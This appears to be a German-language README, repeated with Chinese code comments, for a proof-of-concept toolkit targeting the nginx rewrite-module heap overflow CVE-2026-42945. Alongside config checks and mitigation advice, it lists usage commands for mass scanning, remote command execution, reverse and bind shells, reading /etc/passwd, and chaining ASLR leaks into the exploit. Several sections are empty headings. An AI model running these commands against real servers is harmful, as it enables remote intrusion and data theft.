CVE-2026-42945 Nginx Rift – PoC-Toolkit

Ein umfassendes Proof-of-Concept-Toolkit für CVE-2026-42945 (Nginx Rift), eine kritische Heap-Pufferüberlauf-Schwachstelle im ngx_http_rewrite_module von Nginx.

Schwachstellenübersicht

Grundursache

Die Schwachstelle entsteht durch eine Fehlberechnung der Größe zwischen zwei internen Durchläufen bei der Verarbeitung von Rewrite-Regeln. Wenn eine Konfiguration Folgendes verwendet:

• Unbenannte Regex-Erfassungsgruppen ($1, $2 usw.)
• in Kombination mit einer Ersetzungszeichenkette, die ? enthält

berechnet Nginx die erforderliche Puffergröße während des ersten Durchlaufs falsch und schreibt während des zweiten Durchlaufs über den zugewiesenen Heap-Puffer hinaus.

Beispiel einer verwundbaren Konfiguration

server {
    # VULNERABLE: Unnamed capture ($1) + '?' in replacement
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Sichere Konfiguration (behoben)

server {
    # SAFE: Named capture (?P<path>) replaces $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Toolkit-Komponenten

1. nginx_rift_poc.py – Zentrales PoC-Tool

Scanner und Exploitation-Tool für einzelne Ziele.

Funktionen:

• Nginx-Version aus dem Server-Header erkennen
• Prüfen, ob die Version im verwundbaren Bereich liegt
• Präparierte HTTP-Payloads senden, um den Heap-Overflow auszulösen
• Verwundbare/sichere Testkonfigurationen erzeugen

Verwendung:

# Detect version and test vulnerability
python nginx_rift_poc.py -t target.example.com

# Test with custom payload
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS target
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# Generate vulnerable test configuration
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# Generate safe (patched) configuration
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py – Massen-Scanner

Batch-Scanner zum gleichzeitigen Testen mehrerer Ziele.

Funktionen:

• Multithread-Scanning (Standard: 50 Threads)
• Zielliste aus Datei oder CIDR-Netzwerkbereich
• JSON-Ausgabe für die Integration
• Automatische SSL-Erkennung für Port 443

Verwendung:

# Scan from target file (format: host:port per line)
python nginx_rift_scanner.py -f targets.txt -o results.json

# Scan single target
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# Scan network range
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# High-speed scan
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Format der Zieldatei:

# Comments start with #
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py – Konfigurationsanalysator

Lokale Nginx-Konfigurationsdateien auf verwundbare Rewrite-Muster durchsuchen.

Funktionen:

• nginx.conf parsen und include-Direktiven folgen
• Unbenannte Erfassungsgruppen mit ? in Ersetzungszeichenketten erkennen
• Automatische Korrektur (mit Sicherungskopie)
• Rekursives Scannen von Verzeichnissen

Verwendung:

# Scan single file
python config_checker.py /etc/nginx/nginx.conf

# Scan directory recursively
python config_checker.py -d /etc/nginx/conf.d/

# Auto-fix vulnerable patterns (creates .bak backup)
python config_checker.py --fix /etc/nginx/nginx.conf

# Auto-detect common Nginx paths
python config_checker.py

4. enhanced_poc.py – Erweitertes RCE-PoC

Fortschrittliches Exploit-Tool auf Basis der offiziellen Forschung von depthfirst; unterstützt mehrere Rewrite-Muster und Exploit-Modi.

Funktionen:

• Automatische Erkennung von 8 häufigen verwundbaren Rewrite-Mustern (/api/, /redirect/, /user/ usw.)
• Unterstützung mehrerer Overflow-Triggerzeichen (+, &, =, %)
• Intelligente Payload-Erzeugung mit kontrollierter Overflow-Größe
• Mehrere Exploit-Modi: cmd / shell / bind / read
• Benutzerdefinierte Heap-/libc-Basisadressen für Umgebungen mit deaktiviertem ASLR
• Dynamische Konstruktion des Spray-Bodys mit gefälschtem ngx_pool_cleanup_s

Verwendung:

# Auto-detect patterns and version
python enhanced_poc.py -t target.example.com --detect

# Execute command (ASLR off)
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# Reverse shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# Bind shell
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# Read remote file
python enhanced_poc.py -t target.example.com --read /etc/passwd

# Custom heap base (for ASLR-off targets)
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# Use & as overflow trigger
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Details zu den Exploit-Modi:

Adresskonfiguration (nur bei deaktiviertem ASLR):

• --heap-base: Heap-Basisadresse des Ziels (z. B. 0x555555559000)
• --libc-base: libc-Basisadresse (z. B. 0x7ffff77ba000)
• --system-addr: Direkte system()-Adresse (überschreibt libc-base)

5. aslr_leak_detector.py – ASLR-Leak-Erkennung

Umfassender Scanner zur Erkennung von Informationslecks, die den ASLR-Schutz umgehen können.

Funktionen:

• Erkennung von HTTP-Header-Lecks (Server, X-Powered-By usw.)
• Analyse von Fehlerseiten auf Speicheradressen und Stack-Traces
• Nginx-spezifische Endpunkt-Erkundung (/nginx_status, /actuator/* usw.)
• Erkennung von Speicheradress-Lecks (64-Bit-Zeiger, Heap-/libc-/Stack-Adressen)
• Heap-Layout-Erkundung per Zeitanalyse
• ASLR-Statusermittlung (aktiviert/deaktiviert/schwach)
• Direkte Integration mit enhanced_poc.py über JSON-Bericht

Verwendung:

# Scan single target
python aslr_leak_detector.py -t target.example.com

# Scan with SSL
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# Scan from file, save report
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# Scan network range
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# Quick scan mode
python aslr_leak_detector.py -t target.example.com --quick

Integration mit dem erweiterten PoC:

# Step 1: Detect leaks
python aslr_leak_detector.py -t target.example.com -o leak.json

# Step 2: Use leaked addresses for exploit
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Indikatoren zur Erkennung der Schwachstelle

Das PoC-Tool erkennt die Schwachstelle anhand folgender Indikatoren:

Installation

Keine externen Abhängigkeiten erforderlich. Es wird nur die Python-Standardbibliothek verwendet.

# Clone or download the toolkit
git clone <repository-url>
cd CVE-2026-42945

# Verify Python version (3.7+ recommended)
python3 --version

# Run any tool
python3 nginx_rift_poc.py --help

Betroffene Versionen

Gegenmaßnahmen

Sofortmaßnahmen

1. Nginx auf Version 1.30.1 (stabil) oder 1.31.0 (Mainline) aktualisieren
2. Konfigurationen auf verwundbare Rewrite-Muster prüfen
3. ASLR auf allen Hosts aktivieren, die Nginx-Worker-Prozesse ausführen

Konfigurations-Workaround

Falls ein Patch nicht sofort möglich ist, ersetzen Sie unbenannte Erfassungsgruppen durch benannte Erfassungsgruppen:

# BEFORE (VULNERABLE)
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# AFTER (SAFE)
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

Virtuelles WAF-Patching

WAF-Regeln bereitstellen, um fehlerhafte Anfragen zu blockieren, die auf verwundbare Rewrite-Muster abzielen.

Haftungsausschluss

Dieses Toolkit dient ausschließlich autorisierten Sicherheitstests und Forschungszwecken.

• Nur gegen Systeme verwenden, die Sie besitzen oder für die Sie eine ausdrückliche Testgenehmigung haben
• Unbefugter Zugriff auf Computersysteme ist illegal
• Die Autoren sind nicht für Missbrauch oder Schäden verantwortlich, die durch dieses Tool verursacht werden
• Vor dem Produktionseinsatz immer in isolierten Umgebungen testen

Verwandte CVEs

Dieser Fehler wurde zusammen mit drei weiteren Speicherkorruptions-Problemen entdeckt:

Referenzen

• F5-Sicherheitshinweis
• Nginx-Sicherheit
• CVE-2026-42945-Details

Lizenz

Dieses Projekt wird für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.

Autor: Security Research Team Datum: 2026-06-11

Deutsche Dokumentation

Schwachstellenübersicht

CVE-2026-42945 (Nginx Rift) ist eine Heap-Pufferüberlauf-Schwachstelle im ngx_http_rewrite_module von Nginx. Sie besteht seit 2008 (Nginx 0.6.27) und blieb etwa 18 Jahre lang unentdeckt.

Funktionsweise der Schwachstelle

Bei der Verarbeitung von Rewrite-Regeln führt Nginx intern zwei Parse-Durchläufe aus. Wenn in der Konfiguration gleichzeitig die folgenden beiden Bedingungen erfüllt sind:

1. Verwendung unbenannter Regex-Erfassungsgruppen (z. B. $1, $2)
2. Die Ersetzungszeichenkette enthält das Zeichen ?

berechnet Nginx die Puffergröße beim ersten Parse-Durchlauf falsch und schreibt beim zweiten Parse-Durchlauf Daten über die Grenzen des Heap-Puffers hinaus, was zu einem Heap-Overflow führt.

Beispiel einer verwundbaren Konfiguration (mit Schwachstelle)

server {
    # 有漏洞：未命名捕获 $1 + 替换字符串中的 ?
    location /api/ {
        rewrite ^/api/(.*)$ /v1/$1?version=2 last;
    }
}

Beispiel einer sicheren Konfiguration (behoben)

server {
    # 安全：使用命名捕获 (?P<name>) 替代 $1
    location /api/ {
        rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;
    }
}

Beschreibung der Toolkit-Komponenten

1. nginx_rift_poc.py – Zentrales PoC-Tool

Scanner und Exploitation-Tool für einzelne Ziele.

Funktionen:

• Nginx-Version aus dem Server-Antwortheader erkennen
• Prüfen, ob die Version im verwundbaren Bereich liegt
• Präparierte HTTP-Anfragen senden, um den Heap-Overflow auszulösen
• Verwundbare/sichere Testkonfigurationen erzeugen

Verwendungsbeispiele:

# 检测版本并测试漏洞
python nginx_rift_poc.py -t target.example.com

# 使用自定义 Payload 测试
python nginx_rift_poc.py -t target.example.com -p "/api/AAAA...?x=1"

# HTTPS 目标
python nginx_rift_poc.py -t target.example.com --ssl -p 443

# 生成脆弱测试配置
python nginx_rift_poc.py --gen-vuln-config > vuln.conf

# 生成安全（已修复）配置
python nginx_rift_poc.py --gen-safe-config > safe.conf

2. nginx_rift_scanner.py – Massen-Scanner

Multithread-Scanner für das gleichzeitige Scannen mehrerer Ziele.

Funktionen:

• Standardmäßig 50 Threads für paralleles Scannen
• Unterstützt Ziele aus Dateien oder CIDR-Netzwerkbereichen
• Ausgabe der Ergebnisse im JSON-Format
• Automatische Erkennung von SSL-Verbindungen auf Port 443

Verwendungsbeispiele:

# 从目标文件扫描（格式：每行 host:port）
python nginx_rift_scanner.py -f targets.txt -o results.json

# 扫描单个目标
python nginx_rift_scanner.py -t example.com -p 443 --ssl

# 扫描整个网段
python nginx_rift_scanner.py -t 192.168.1.0/24 -p 80,443,8080

# 高速扫描（100线程）
python nginx_rift_scanner.py -f targets.txt --threads 100 -o results.json

Format der Zieldatei:

# 井号开头的行为注释
192.168.1.1:80
192.168.1.2:443:ssl
example.com:8080

3. config_checker.py – Konfigurationsprüfer

Durchsucht lokale Nginx-Konfigurationsdateien auf verwundbare Rewrite-Muster.

Funktionen:

• nginx.conf parsen und durch include referenzierte Dateien rekursiv auflösen
• Rewrite-Direktiven erkennen, die unbenannte Erfassungsgruppen + ? enthalten
• Automatische Korrektur unterstützen (erstellt automatisch .bak-Sicherungen)
• Verzeichnisse rekursiv scannen

Verwendungsbeispiele:

# 扫描单个文件
python config_checker.py /etc/nginx/nginx.conf

# 递归扫描目录
python config_checker.py -d /etc/nginx/conf.d/

# 自动修复脆弱配置（自动备份原文件）
python config_checker.py --fix /etc/nginx/nginx.conf

# 自动探测常见 Nginx 配置路径
python config_checker.py

4. enhanced_poc.py – Erweitertes RCE-PoC

Fortschrittliches Exploit-Tool auf Basis der offiziellen Forschung von depthfirst; unterstützt mehrere Rewrite-Muster und Exploit-Methoden.

Funktionen:

• Automatische Erkennung von 8 häufigen verwundbaren Rewrite-Mustern (/api/, /redirect/, /user/ usw.)
• Unterstützung mehrerer Overflow-Triggerzeichen (+, &, =, %)
• Intelligente Payload-Erzeugung mit präziser Kontrolle der Overflow-Größe
• Mehrere Exploit-Modi: cmd / shell / bind / read
• Benutzerdefinierte Heap-/libc-Basisadressen (für Umgebungen mit deaktiviertem ASLR)
• Dynamische Konstruktion des Spray-Bodys mit gefälschtem ngx_pool_cleanup_s

Tabelle zur Erweiterung der Overflow-Triggerzeichen:

Verwendungsbeispiele:

# 自动探测配置模式和版本
python enhanced_poc.py -t target.example.com --detect

# 执行命令（ASLR 关闭环境）
python enhanced_poc.py -t target.example.com --cmd "id > /tmp/pwned"

# 反弹 Shell
python enhanced_poc.py -t target.example.com --shell --listen-ip 10.0.0.1 --listen-port 4444

# 绑定 Shell（在目标上监听）
python enhanced_poc.py -t target.example.com --bind --listen-port 5555

# 读取远程文件
python enhanced_poc.py -t target.example.com --read /etc/passwd

# 自定义堆基址
python enhanced_poc.py -t target.example.com --cmd "whoami" --heap-base 0x555555554000

# 使用 & 作为溢出触发字符
python enhanced_poc.py -t target.example.com --cmd "id" --escape-char "&"

Beschreibung der Exploit-Modi:

Adresskonfiguration (nur bei deaktiviertem ASLR):

• --heap-base: Heap-Basisadresse des Ziels (z. B. 0x555555559000)
• --libc-base: libc-Basisadresse (z. B. 0x7ffff77ba000)
• --system-addr: system()-Adresse direkt angeben

5. aslr_leak_detector.py – Tool zur Erkennung von ASLR-Informationslecks

Umfassender Scanner zur Erkennung von Informationslecks, die zur Umgehung des ASLR-Schutzes genutzt werden können.

Funktionen:

• Erkennung von Lecks in HTTP-Antwortheadern (Server, X-Powered-By usw.)
• Analyse von Fehlerseiten (Speicheradressen, Stack-Traces)
• Nginx-spezifische Endpunkt-Erkundung (/nginx_status, /actuator/* usw.)
• Erkennung von Speicheradress-Lecks (64-Bit-Zeiger, Heap-/libc-/Stack-Adressen)
• Heap-Layout-Erkundung (Ableitung des Speicherzustands anhand von Antwortzeitunterschieden)
• ASLR-Statusermittlung (aktiviert/deaktiviert/schwach)
• Direkte Integration mit enhanced_poc.py über JSON-Berichte

Verwendungsbeispiele:

# 扫描单个目标
python aslr_leak_detector.py -t target.example.com

# SSL 扫描
python aslr_leak_detector.py -t target.example.com -p 443 --ssl

# 从文件批量扫描并保存报告
python aslr_leak_detector.py -f targets.txt -p 80,443 -o leak_report.json

# 扫描网段
python aslr_leak_detector.py -t 192.168.1.0/24 -p 80,443

# 快速扫描
python aslr_leak_detector.py -t target.example.com --quick

Kombinierte Verwendung mit dem erweiterten PoC:

# 步骤 1：检测信息泄露
python aslr_leak_detector.py -t target.example.com -o leak.json

# 步骤 2：使用泄露的地址进行利用
python enhanced_poc.py -t target.example.com \
  --heap-base 0x555555559000 \
  --libc-base 0x7ffff77ba000 \
  --cmd "id"

Indikatoren zur Erkennung der Schwachstelle

Das PoC-Tool beurteilt anhand folgender Anzeichen, ob das Ziel verwundbar ist:

Installation

Es müssen keine Drittanbieter-Abhängigkeiten installiert werden; es genügt die Python-Standardbibliothek.

# 克隆或下载工具包
git clone <repository-url>
cd CVE-2026-42945

# 验证 Python 版本（推荐 3.7+）
python3 --version

# 查看工具帮助
python3 nginx_rift_poc.py --help

Betroffene Versionen

Gegenmaßnahmen

Dringende Empfehlungen

1. Nginx umgehend auf 1.30.1 (stabil) oder 1.31.0 (Mainline) aktualisieren
2. Konfigurationsdateien auf verwundbare Rewrite-Muster prüfen
3. ASLR (Address Space Layout Randomization) aktivieren, um die RCE-Ausnutzung zu erschweren

Vorübergehende Gegenmaßnahme (wenn kein sofortiges Update möglich ist)

Unbenannte Erfassungsgruppen durch benannte Erfassungsgruppen ersetzen:

# 修改前（有漏洞）
rewrite ^/api/(.*)$ /v1/$1?version=2 last;

# 修改后（安全）
rewrite ^/api/(?P<path>.*)$ /v1/$path?version=2 last;

Virtuelles WAF-Patching

Regeln für Web Application Firewalls bereitstellen, um bösartige Anfragen zu blockieren, die auf verwundbare Rewrite-Muster abzielen.

Haftungsausschluss

Dieses Toolkit dient ausschließlich autorisierten Sicherheitstests und Forschungszwecken.

• Verwenden Sie dieses Tool nur gegen Systeme, die Sie besitzen oder für die Sie eine ausdrückliche Genehmigung haben
• Unbefugter Zugriff auf Computersysteme ist eine Straftat
• Die Autoren übernehmen keine Verantwortung für Missbrauch oder durch dieses Tool verursachte Schäden
• Testen Sie immer zuerst in isolierten Umgebungen, bevor Sie es in der Produktion einsetzen

Verwandte Schwachstellen

Diese Schwachstelle gehört zu einer Reihe von Speicherkorruptions-Problemen, die vom KI-gesteuerten statischen Analysesystem von depthfirst entdeckt wurden:

Referenzen

• F5-Sicherheitshinweis
• Nginx-Sicherheitshinweis
• CVE-2026-42945-Details
• SonicWall-Technikanalyse
• Forschungsbericht der Cloud Security Alliance

Lizenz

Dieses Projekt dient ausschließlich Bildungszwecken und autorisierten Sicherheitstests.

Autor: Security Research Team Datum: 2026-06-11